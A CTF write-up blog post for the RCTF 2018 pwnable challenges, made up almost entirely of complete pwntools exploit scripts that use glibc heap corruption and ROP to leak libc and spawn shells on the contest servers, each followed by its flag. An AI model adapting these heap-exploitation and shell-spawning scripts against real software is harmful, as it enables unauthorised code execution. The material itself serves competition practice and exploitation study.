RCTF 2018 Write Up

RCTF 2018 pwnable

Posted by NextLine on May 21, 2018

2018 RCTF Write Up

Info

ScoreBoard Nickname : NextLine
Rank : 29
I solved all pwn challs

babyheap ( 317 pt / 44 solved )

from pwn import *

#s = process('./babyheap')
s = remote('babyheap.2018.teamrois.cn',3154)

def alloc(size,data):
	s.sendlineafter('e: ','1')
	s.sendlineafter('e: ',str(size))
	s.sendafter('t: ',data)

def show(idx):
	s.sendlineafter('e: ','2')
	s.sendlineafter('x: ',str(idx))

def free(idx):
	s.sendlineafter('e: ','3')
	s.sendlineafter('x: ',str(idx))

l = ELF('/lib/x86_64-linux-gnu/libc.so.6')
alloc(0x30,'A' * 0x30)
alloc(0xf0,'A' * 0xf0)
alloc(0x70,'A' * 0x70)
alloc(0xf0,'A' * 0xf0)
alloc(0x30,'A' * 0x30)

free(1)
free(2)
alloc(0x78,'B' * 0x60 + p64(0) + p64(0x110) + p64(0x180))

# chunk overlap
free(3)
alloc(0xf0,'A' * 0xf0)

# libc leak
show(1)
s.recvuntil('content: ')
libc = u64(s.recv(6) + "\x00" * 2) - l.symbols['__malloc_hook'] - 0x68
log.info("libc : " + hex(libc))

free(2)
alloc(0x80, 'A' * 0x80)
alloc(0x80, 'C' * 0x60 + p64(0) + p64(0x71) + p64(0) + p64(0))

free(1)
free(3)
hook = libc + l.symbols['__malloc_hook'] - 0x23
oneshot = libc + 0x4526a
alloc(0x80, 'C' * 0x60 + p64(0) + p64(0x70) + p64(hook) + p64(0))

alloc(0x60,'A' * 0x60)
alloc(0x60,'A' * 0x13 + p64(oneshot) + "\n")

s.interactive()
# RCTF{Let_us_w4rm_up_with_a_e4sy_NU11_byte_overflow_lul_7adf58}
  • simple heap trick

Rnote3 ( 384 pt / 33 solved ) - third blood

from pwn import *

#s = process('./rnote3')
s = remote('rnote3.2018.teamrois.cn',7322)

def add(title,size,content):
	s.sendline('1')
	s.sendlineafter('title: ',str(title))
	s.sendlineafter(': ',str(size))
	s.sendafter(': ',str(content))

def view(title):
	s.sendline('2')
	s.sendlineafter('title: ',str(title))

def edit(title,content):
	s.sendline('3')
	s.sendlineafter('title: ',str(title))
	s.sendlineafter(': ',str(content))

def free(title):
	s.sendline('4')
	s.sendlineafter('title: ',str(title))

l = ELF('/lib/x86_64-linux-gnu/libc.so.6')
s.recvuntil('5. Exit\n')

add('A',0xf8,'A' * 0x8 + "\n")
add('A',0xf8,'A' * 0x8 + "\n")
free('A')
free('A')

add('A',0xf8,'A' * 0x10 + "\n")
free('X')
view('\x00')
s.recvuntil('note content: ')
libc = u64(s.recv(6) + "\x00" * 2) - l.symbols['__malloc_hook'] - 0x68
log.info("LIBC : " + hex(libc))
add('A',0xf8,'A' * 0x10 + "\n")

add('AA',0x68,'A' * 0x68)
add('AA',0x68,'A' * 0x68)
free('AA')
free('AA')

add('AA',0x68,'A' * 0x68)
free('X')

stdout = libc + l.symbols['_IO_2_1_stdout_']
stderr = libc + l.symbols['_IO_2_1_stderr_']
stdin = libc + l.symbols['_IO_2_1_stdin_']
oneshot = libc + 0x4526a
print hex(oneshot)

edit('\x00',p64(stdout + 0x9d))
payload = '\x00' * 0x2b + p64(stdout + 0xc0) + p64(stderr) + p64(stdout)
payload += p64(stdin) + p64(oneshot) * 3

add('AA',0x68,'A' * 0x68)
#gdb.attach(s,sc)
add('AA',0x68,payload)


s.interactive()
  • uninitialized stack memory vuln & use-after-free

Rnote4 ( 465 pt / 24 solved ) - first blood

from pwn import *

#s = process('./RNote4')
s = remote('rnote4.2018.teamrois.cn',6767)

def alloc(size,data):
	s.send(p8(1))
	s.send(p8(size))
	s.send(data)

def edit(idx,size,data):
	s.send(p8(2))
	s.send(p8(idx))
	s.send(p8(size))
	s.send(data)

def free(idx):
	s.send(p8(3))
	s.send(p8(idx))

alloc(0x98,'A' * 0x98)
alloc(0x98,'A' * 0x98)
edit(0,0xb0,'B' * 0x98 + p64(0x21) + p64(0x98) + p64(0x601eb0))
edit(1,0x8,p64(0x602200))

edit(0,0xb0,'B' * 0x98 + p64(0x21) + p64(0x98) + p64(0x602200))
payload = 'A' * 0x5f + 'system\x00'
edit(1,len(payload),payload)

edit(0,0x8,'/bin/sh\x00')
free(0)

s.interactive()
# RCTF{I_kn0w_h0w_dl_f1xup_w0rks_503f8c}
  • overwrite strtab pointer

simulator ( 454 pt / 25 solved )

from pwn import *
from ctypes import *
from hashlib import sha256
import os

#s = process('./simulator')
s = remote('simulator.2018.teamrois.cn',3131)
e = ELF('simulator')
l = ELF('./libc6-i386_2.23-0ubuntu10_amd64.so')

def powk():
	chal = s.recvline()[:-1]
	while True:
		sol = os.urandom(4)
		if sha256(chal + sol).digest().startswith('\0\0\0'):
			log.info("SOLVE : " + sha256(chal + sol).hexdigest())
			s.sendline(sol)
			break

powk()

asm = []
asm.append('add %d, %d' % (c_uint32((1<<32) - 321-0x20).value,0x0804852e))
asm.append('END')

f = ''
for i in asm:
	f += i + "\n"
s.send(f)

pr = 0x0804a8cb
pppr = 0x0804b339
lr = 0x080486e8

payload = 'A' * 0x30
payload += p32(e.plt['puts']) + p32(pr) + p32(e.got['puts'])
payload += p32(0x804ac58)
s.sendline(payload)

s.recvuntil('leave a comment: ')
libc = u32(s.recv(4)) - l.symbols['puts']
log.info("LIBC :" + hex(libc))

s.sendline('END')
binsh = next(l.search('/bin/sh'))
payload = 'A' * 0x30
payload += p32(libc + l.symbols['system']) + p32(pr) + p32(libc+binsh)
s.sendline(payload)

s.interactive()
# RCTF{5imu_s1mu_sinnu_siml_l_simulator!_7a3dac}
  • out of boundary

stringer ( 540 pt / 18 solved )

from pwn import *

#s = process('./stringer')
s = remote('stringer.2018.teamrois.cn',7272)

def alloc(length, content):
	s.sendlineafter('choice: ','1')
	s.sendlineafter('length: ',str(length))
	s.sendafter('content: ',content)

def edit(idx,byteidx):
	s.sendlineafter('choice: ','3')
	s.sendlineafter(': ',str(idx))
	s.sendlineafter(': ',str(byteidx))

def free(idx):
	s.sendlineafter('choice: ','4')
	s.sendlineafter(': ',str(idx))

#sc = 'tracemalloc on\n'
#sc += 'c\n'

l = ELF('/lib/x86_64-linux-gnu/libc.so.6')

#gdb.attach(s,sc)
alloc(0xf8,'A' * 0xf8) # 0
free(0)
alloc(0xf8,'A' * 0xf8) # 1
free(1)
alloc(0xf8,'A' * 0xf8) # 2
free(2)

alloc(0x18,'A' * 1+"\n") # 3
alloc(0x88,'A' * 1+"\n") # 4
alloc(0x18,'A' * 1+"\n") # 5
free(4)

for i in range(5):
	edit(0,0x18)
for i in range(5):
	edit(1,0x18)
for i in range(4):
	edit(2,0x18)

alloc(0x88,'A' * 1+"\n") # 6
alloc(0x88,'A' * 7+"\n") # 7

s.recvuntil('AAAAAAA\n')
libc = u64(s.recv(6) + "\x00" * 2) - l.symbols['__malloc_hook'] - 0xe8
log.info("LIBC : " + hex(libc))

alloc(0x68, 'A' * 0x68) # 8
alloc(0x68, 'A' * 0x68) # 9
free(8)
free(9)
free(8)

oneshot = libc + 0xf02a4
log.info("oneshot : " + hex(oneshot))

alloc(0x68, p64(libc + l.symbols['__malloc_hook'] - 0x23) + "\n") # 10
alloc(0x68, 'A' * 0x68) # 11
alloc(0x68, 'A' * 0x68) # 12
alloc(0x68, 'A' * 0x13 + p64(oneshot) +"\n")

s.sendline('1')
s.sendline('1')

s.interactive()
# RCTF{Is_th1s_c1-1unk_m4pped?_df3ac9}
  • calloc trick